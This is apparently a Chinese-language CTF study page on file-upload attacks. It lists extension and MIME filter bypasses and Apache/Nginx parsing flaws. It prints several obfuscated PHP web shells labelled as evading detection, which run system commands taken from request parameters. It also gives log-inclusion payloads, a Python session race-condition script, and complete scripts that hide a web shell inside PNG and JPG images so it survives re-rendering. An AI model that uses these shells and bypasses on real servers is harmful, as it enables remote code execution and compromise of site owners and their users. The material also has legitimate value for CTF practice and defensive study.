初探文件上传

文件上传表单

1
2
3
4
5
<form enctype="multipart/form-data" action="__URL__" method="POST">
Send this file:
<input name="file" type="file" />
<input type="submit" value="submit" />
</form>

后缀名过滤

黑名单

特殊可解析后缀

Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml

windows下相关

  • windows大小写不敏感
  • windows系统默认删除文件后缀的.和空格

Apache解析漏洞

当apache遇到无法识别解析的文件后缀时,会向前解析,如xxx.php.123.456,
在mime.types文件中如果不存在.123/.456这两种后缀,
那么apache会将该文件解析为php。
同样也可以在httpd.conf文件中更改参数或是直接配置.htaccess。

a.php.xxx 会解析成 a.php

Apache HTTPD换行解析漏洞(CVE-2017-15715)

在2.4.0~2.4.29版本存在一个解析漏洞,在解析php时,1.php%0a将按照php后缀进行解析,导致绕过一些服务器的安全策略

Nginx 解析漏洞

由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,对于任意文件名,在后面添加/xxx.php(xxx)为任意字符后,即可将文件作为php解析。

1
2
上传shell.jpg
访问shell.jpg/.php 会按照shell.php执行

白名单

%00截断

1.php%00.jpg

高级利用

配置文件绕过

.htaccess和.user.ini

.user.ini只对他同一目录下的文件起作用

auto_append_file

  • 可以包含伪协议
  • 可以包含日志文件

文件类型检测

MIME

1
2
3
4
5
6
Content-Type: image/png
Content-Type: image/jpeg
Content-Type: image/gif

Content-Type:application/x-zip-compressed zip
Content-Type:application/octet-stream rar

文件内容检测

短标签

1
2
3
4
<? echo "123";?> //short_open_tags=on
<?=(expr);?> <=> <?php echo (expr);?>
<% echo "123";%> //asp_tags=on && php<7.0
<script language="php">echo "123";</script> //php<7.0

()[]{}

1
2
function()中的()可以使用``绕过
$_POST[1]中的[]可以使用{}绕过

免杀🐎

1
2
3
4
5
6
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
1
2
3
4
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
1
2
3
4
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
1
2
3
4
5
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
1
<?=$_GET[0]($_POST[1]);?>

文件上传与文件包含

待补充

文件上传与伪协议

日志包含

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>    

session条件竞争

1
<?=include"/tmp/sess_xxxx"?>  //.user.ini: auto_append_file=xxxx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 羽师傅(yu22x)脚本
import requests
import threading
session=requests.session()
sess='xxxx'
url1="url"
url2="url/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
'file':'xxxx'
}
cookies={
'PHPSESSID': sess
}

def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

文件上传与xss

oss存储桶利用

待补充

OSS对象存储上传解析漏洞

配置文件xss

pass

图片上传

https://xz.aliyun.com/t/2657#toc-11

getimagesize绕过

1
2
#define width 100
#define height 100
1
2
copy 1.png/b+1.txt/a 2.php
copy 1.png/b+1.txt/a 2.png

png二次渲染绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>

jpg二次渲染绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<?php
$miniPayload = "<?=\$_GET[0](\$_POST[1]);?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法 php exp.php a.png